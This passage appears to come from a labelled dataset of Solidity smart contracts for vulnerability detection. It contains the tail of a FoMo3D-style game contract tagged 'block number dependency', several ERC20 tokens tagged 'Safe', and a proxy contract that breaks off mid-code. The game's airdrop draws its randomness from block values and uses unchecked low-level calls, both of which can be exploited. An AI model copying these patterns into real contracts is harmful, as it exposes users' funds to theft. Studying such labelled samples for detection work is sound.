( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_p3d.sub(_p3d / 2)); coin_base.transfer(_com); _res = _res.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(coin_base).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; coin_base.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 0x017b3be10321e62a38a1df202411789e208b2f1d_TheMostExpensiveTOKEN.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract TheMostExpensiveTOKEN is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function TheMostExpensiveTOKEN() { balances[msg.sender] = 150000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 1000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS) name = ""TheMostExpensiveTOKEN""; // Set the name for display purposes (CHANGE THIS) decimals = 18; // Amount of decimals for display purposes (CHANGE THIS) symbol = ""TME""; // Set the symbol for display purposes (CHANGE THIS) unitsOneEthCanBuy = 1000000; // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; if (balances[fundsWallet] < amount) { return; } balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 0x02fef77de4bbaf4adfb5ff7b81312e3cdebde646_ERC20Token.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 10000000; // Give the creator all initial tokens (100000 for example) totalSupply = 10000000; // Update total supply (100000 for example) name = ""Shell coin""; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = ""Shell""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 0x036fb05cf88f1d612190d3dbc2ac0769b6a47c60_EXSCoinToken.sol,"pragma solidity ^0.4.13; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function ChangeOwner(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } contract BaseExspaceToken is Ownable { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; uint256 public maxtokens; address public owner; function BaseExspaceToken() public { owner = msg.sender; maxtokens = 100000000000000; } modifier IsNoMax() { require(totalSupply <= maxtokens); _; } function transfer(address _to, uint256 _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { var _allowance = allowed[_from][msg.sender]; require (_value <= _allowance); // Check необязательно. Рё так проверит. balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function mint(address _to, uint256 _amount) onlyOwner IsNoMax public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); mint0(_to, _amount); return true; } event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed Apowner, address indexed spender, uint256 value); event mint0(address indexed to, uint256 amount); } contract EXSCoinToken is BaseExspaceToken { string public constant name = ""ExSpace Coin""; string public constant symbol = ""EXS""; uint32 public constant decimals = 6; } contract EXSCoinSeller is Ownable { using SafeMath for uint256; address public mainwallet; uint public rate; uint256 public MaxTokens; EXSCoinToken public token = new EXSCoinToken(); function EXSCoinSeller() public { rate = 1000000; owner = msg.sender; MaxTokens = token.maxtokens(); mainwallet = msg.sender; } function ChangeMainWallet(address newWallet) onlyOwner public { require(newWallet != address(0)); mainwallet = newWallet; } function ChangeRate(uint newrate) onlyOwner public { require(newrate > 0 ); rate = newrate; } function MintTokens(address _to, uint256 _amount) onlyOwner public returns (bool) { Mint(_to,_amount); return token.mint(_to,_amount); } function GetBalance(address _owner) constant public returns (uint256 balance) { return token.balanceOf(_owner); } function GetTotal() constant public returns (uint256 Total) { return token.totalSupply(); } function CreateTokens() payable public { mainwallet.transfer(msg.value); uint tokens = rate.mul(msg.value).div(1 ether); token.mint(msg.sender, tokens); SaleToken(msg.sender, tokens); } function() external payable { CreateTokens(); } event SaleToken( address indexed to, uint amount); event Mint(address indexed to, uint256 amount); }",Safe,8,8 5321.sol,"pragma solidity ^0.4.21; contract Proxied { address public masterCopy; } contract Proxy is Proxied { function Proxy(address _masterCopy) public { require(_masterCopy != 0); masterCopy = _masterCopy; } function () external payable { address _masterCopy = masterCopy; assembly { calldatacopy(0, 0, calldatasize()) let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch success 